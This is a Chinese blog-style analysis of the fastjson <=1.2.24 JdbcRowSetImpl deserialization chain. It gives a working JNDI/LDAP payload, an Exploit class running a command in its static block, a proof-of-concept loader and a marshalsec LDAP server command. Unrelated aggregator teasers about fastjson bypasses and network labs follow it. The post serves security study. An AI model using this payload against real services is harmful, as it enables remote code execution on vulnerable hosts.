fastjson<=1.2.24jdbcrowsetimpl利用链分析(代码片段)

NoOne_52 NoOne_52     2023-03-09     757

关键词:

前言
上文分析了TemplatesImpl利用链,对fastjson parseObject函数进行了分析,明白了整个触发漏洞的流程,接着来学习JdbcRowSetImpl 利用链,JdbcRowSetImpl的利用链在实际运用中较为广泛,这个链基本没啥限制条件,只需要Json.parse(input)即可进行命令执行。这条链主要利用了setAutoCommit方法调用InitialContext.lookup并且参数是未经过滤dataSourceName,导致JNDI注入,造成命令执行。其中涉及了JDNI注入 + RMI/LDAP 的知识,再前文也简单分析过JNDI+RMI/JNDI+LDAP的利用,如果不明白可以参考前文JNDI注入(RMI攻击实现和LDAP攻击实现)
JdbcRowSetImpl限制条件
主要限制的因素是jdk版本,个人版本为jdk1.8.0_121

基于RMI利用的JDK版本 ≤ 6u141、7u131、8u121
基于LDAP利用的JDK版本 ≤ 6u211、7u201、8u191。


攻击流程

首先是这个lookup(URI)参数可控
攻击者控制URI参数为指定为恶意的一个RMI服务
攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类;
目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例;
攻击者可以在Factory类文件的静态代码块处写入恶意代码,达到RCE的效果;

源码分析
影响版本:fastjson<=1.2.24
payload:

"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://127.0.0.1:1389/#Exploit", "autoCommit":true

Exploit代码,需要编译成class文件放到web服务中去:

import java.io.IOException;

public class Exploit 
    public Exploit() 
    
    static 
        try          
            Runtime.getRuntime().exec("calc.exe");
         catch (IOException e) 
            e.printStackTrace();
        
    

poc代码:

package org.example.fastjson.JdbcRowSetImpl;
import com.sun.rowset.JdbcRowSetImpl;
import com.alibaba.fastjson.JSON;

import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.RemoteException;

public class Poc 
    public static void main(String[] args) throws Exception 
        String PoC = "\\"@type\\":\\"com.sun.rowset.JdbcRowSetImpl\\", \\"dataSourceName\\":\\"ldap://127.0.0.1:1389/#Exploit\\", \\"autoCommit\\":true";
        JSON.parse(PoC);
    

启动LDAP服务端:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8080/#Exploit 1389

从前文的TemplatesImpl链分析中得知FastJson在反序列化时会去调用get、set、is方法。
下面分析payload中的几个参数
@type:反序列化类名;
dataSourceName:RMI注册中心绑定恶意服务;
autoCommit:在Fastjson JdbcRowSetImpl链中反序列化时,会去调用setAutoCommit方法,方法中可调用lookup方法

payload中的dataSourceName参数在解析时候则会调用setDataSourceName对DataSourceName变量进行赋值,来看到代码

fastjson调用set方法时,通过super.setDataSourceName(var1)方法把DataSourceName的值设置为ldap://127.0.0.1:1389/#Exploit

autoCommit也一样会调用setAutoCommit

setAutoCommit会调用this.connect()方法,跟进

lookup中则是传入了this.getDataSourceName(),返回dataSource变量内容。而这个dataSource内容则是在前面setDataSourceName方法中进行设置的,该参数是可控的。所以可以进行JDNI注入从而达到命令执行。

TemplatesImpl 链 优点:当fastjson不出网的时候可以直接进行盲打(配合时延的命令来判断命令是否执行成功) 缺点:版本限制 1.2.22 起才有SupportNonPublicField特性,并且后端开发需要特定语句才能够触发,在使用parseObject的时候,必须要使用 JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)
JdbcRowSetImpl 链的优点:利用范围更广,即触发更为容易 ;缺点:当fastjson 不出网的话这个方法基本上也是无法使用的了,同时高版本jdk中codebase默认为true,这样意味着,我们只能加载受信任的地址。

后续呢,有高于1.2.25的版本绕过,这里给自己留个坑,等分析研究之后再回来补这个坑

https://drops.blbana.cc/2020/04/16/Fastjson-JdbcRowSetImpl%E5%88%A9%E7%94%A8%E9%93%BE/
https://blog.csdn.net/qq_41918771/article/details/118669304?spm=1001.2014.3001.5501
https://www.cnblogs.com/nice0e3/p/14776043.html#0x00-%E5%89%8D%E8%A8%80
https://reader-l.github.io/2021/04/24/Java%E5%AE%89%E5%85%A8-FastJson%E4%B9%8BJdbcRowSetImpl%E9%93%BE%E5%88%86%E6%9E%90/

fastjson漏洞-fastjson1.2.47反序列化漏洞(代码片段)

文章目录Fastjson简介历史漏洞Fastjson<1.2.41Fastjson<1.2.42Fastjson<1.2.47Fastjson<1.2.66漏洞发现Fastjson寻找Fastjson报错识别漏洞检测漏洞复现Fastjson1.2.47反序列化漏洞影响版本实验环境JNDIJNDI注入+RMIJNDI注入+RMI利用Fastjson简介Fast... 查看详情

13-java安全——fastjson1.2.24反序列化templatesimpl利用链分析(代码片段)

漏洞环境:fastjson1.2.24jdk1.7.80新建一个maven项目在pom.xml文件中引入fastjson的依赖:<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version></dependency>fastjson是alibaba开... 查看详情

14-java安全——fastjson1.2.24反序列化jdbcrowsetimpl利用链分析

fastjson在1.2.24版本中,除了TemplatesImpl链之外,还有一个JdbcRowSetImpl利用链,JdbcRowSetImpl链有两种利用方式:一种是RMI和JNDI利用方式,另一种是JNDI和LDAP利用方式,关于JNDI的相关概念之前在java安全基础中已经... 查看详情

15-java安全——fastjson反序列化1.2.25-1.2.41版本绕过(代码片段)

1.2.24版本爆出反序列化漏洞之后,fastjson1.2.25之后的版本使用了checkAutoType函数定义黑白名单的方式来防御反序列化漏洞。com.alibaba.fastjson.parser.ParserConfig类中有一个String[]类型的denyList数组,denyList中定义了反序列化的黑名... 查看详情

15-java安全——fastjson反序列化的历史版本绕过(开启autotype功能)

...1.2.25-1.2.41版本绕过1.2.24版本爆出反序列化漏洞之后,fastjson1.2.25之后的版本使用了checkAutoType函数定义黑白名单的方式来防御反序列化漏洞。com.alibaba.fastjson.parser.ParserConfig类中有一个String 查看详情

14-java安全——fastjson1.2.24反序列化jdbcrowsetimpl利用链分析(代码片段)

fastjson在1.2.24版本中,除了TemplatesImpl链之外,还有一个JdbcRowSetImpl利用链,JdbcRowSetImpl链有两种利用方式:一种是RMI和JNDI利用方式,另一种是JNDI和LDAP利用方式,关于JNDI的相关概念之前在java安全基础中已经... 查看详情

14-java安全——fastjson1.2.24反序列化jdbcrowsetimpl利用链分析(代码片段)

fastjson在1.2.24版本中,除了TemplatesImpl链之外,还有一个JdbcRowSetImpl利用链,JdbcRowSetImpl链有两种利用方式:一种是RMI和JNDI利用方式,另一种是JNDI和LDAP利用方式,关于JNDI的相关概念之前在java安全基础中已经... 查看详情

15-java安全——fastjson反序列化的历史版本绕过(开启autotype功能)(代码片段)

...1.2.25-1.2.41版本绕过1.2.24版本爆出反序列化漏洞之后,fastjson1.2.25之后的版本使用了checkAutoType函数定义黑白名单的方式来防御反序列化漏洞。com.alibaba.fastjson.parser.ParserConfig类中有一个String 查看详情

14-java安全——fastjson1.2.24反序列化jdbcrowsetimpl利用链分析(代码片段)

fastjson在1.2.24版本中,除了TemplatesImpl链之外,还有一个JdbcRowSetImpl利用链,JdbcRowSetImpl链有两种利用方式:一种是RMI和JNDI利用方式,另一种是JNDI和LDAP利用方式,关于JNDI的相关概念之前在java安全基础中已经... 查看详情

fastjson反序列化漏洞(代码片段)

Fastjson反序列化漏洞目录Fastjson反序列化漏洞一、Fastjson介绍1、什么是fastjson?2、fastjson的优点二、影响范围:三、漏洞原理四、漏洞利用五、漏洞发现六、漏洞修复一、Fastjson介绍1、什么是fastjson?fastjson是阿里巴巴的开源JSON解... 查看详情

fastjson<=1.2.24jdbcrowsetimpl利用链分析(代码片段)

前言上文分析了TemplatesImpl利用链,对fastjsonparseObject函数进行了分析,明白了整个触发漏洞的流程,接着来学习JdbcRowSetImpl利用链,JdbcRowSetImpl的利用链在实际运用中较为广泛,这个链基本没啥限制条件,只... 查看详情

15-java安全——fastjson反序列化的历史版本绕过(开启autotype功能)(代码片段)

...1.2.25-1.2.41版本绕过1.2.24版本爆出反序列化漏洞之后,fastjson1.2.25之后的版本使用了checkAutoType函数定义黑白名单的方式来防御反序列化漏洞。com.alibaba.fastjson.parser.ParserConfig类中有一个String[]类型的denyList数组,denyList中定义... 查看详情

计算机网络课程设计步骤2基本配置

...称VLAN端口名称IP地址端口连接状况RG-S3760-1VLAN1192.168.11.1/24F0/1-RG-S2126G1VLAN2192.168.12.1/24F0/2-RG-S2126G2VLAN10192.168.13.1/24F0/10-RG-S3760-2F0/10RG-S3760-2VLAN10192.168.13.2/24F0/10-RG-S3760-1F0/10VLAN11192.168.1.11/24F0/11-R1 Fa0/0   S1/2VLAN24192.168.24.1/... 查看详情

计算机网络课程设计步骤3路由配置

...称VLAN端口名称IP地址端口连接状况RG-S3760-1VLAN1192.168.11.1/24F0/1-RG-S2126G1VLAN2192.168.12.1/24F0/2-RG-S2126G2VLAN10192.168.13.1/24F0/10-RG-S3760-2F0/10RG-S3760-2VLAN10192.168.13.2/24F0/10-RG-S3760-1F0/10VLAN11192.168.1.11/24F0/11-R1 Fa0/0   S1/2VLAN24192.168.24.1/... 查看详情

ospf实验

 一、拓扑   二、地址规划(ipv4)路由接口地址Loopback0R1 F0/010.102.10.1/2410.102.1.2/24 F0/110.102.20.1/24R2F0/110.102.10.2/2410.102.2.2/24F0/010.102.30.2/24R3S1/210.102.40.3/2410.102.3.2/ 查看详情

实现不同网段主机的互通

...证结果的截图)。Lsw1交换机所连接主机IP配置为192.168.1.1/24、192.168.1.2/24、192.168.1.3/24、192.168.1.4/24Lsw2交换机所连接主机IP配置为192.168.2.1/24、192.168.2.2/24、19 查看详情

华为动态nat配置

华为动态NAT配置试验要求:1)将内部网络10.1.1.0/24转换为公网地址200.1.1.1~200.1.1.10/28上网(访问Server3),并抓包分析2)验证动态NAT是单向转换环境部署:PC1:IP:10.1.1.1/24GW:10.1.1.254/24Client1:IP:10.1.1.2/24GW:10.1.1.254/24Client2:IP:100.1.1.1/24G... 查看详情

企业网络架构规划及配置实施(实用)

...络架构规划及配置实施一、网络规划出口地址段:202.1.1.0/24路由器出口:202.1.1.1/24ISP网关:202.1.1.2/24互联地址段192.168.90.0/24路由器:192.168.90.1/24核心交换机:192.168.90.2/24管理地址段:192.168.100.0/24核心管理地址:192.168.100.1/24接入LI-1:192.... 查看详情